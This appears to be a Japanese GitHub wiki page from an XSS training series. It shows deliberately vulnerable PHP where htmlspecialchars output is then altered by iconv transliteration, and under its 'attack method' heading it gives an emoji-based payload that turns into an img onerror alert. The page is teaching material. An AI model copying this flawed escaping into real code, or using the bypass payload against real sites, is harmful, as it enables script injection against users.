クロスサイトスクリプティング 11 - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS)攻撃 10

Unicodeのコード変換でバグがあるXSS

脆弱なソースコード (PHP)

<div class="box">
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
</div>
<?php
	$word=htmlspecialchars(filter_input(INPUT_GET, 'word'), ENT_QUOTES, 'UTF-8');
    $word = iconv("Windows-1252", "UTF-8", $word);
    $word = iconv("UTF-8", "ASCII//TRANSLIT", $word);

 	echo "<h1>".$word."</h1>";
?>

攻撃方法

💋img%20src=x%20onerror=alert(document.domain)//💛

⚠️ **GitHub.com Fallback** ⚠️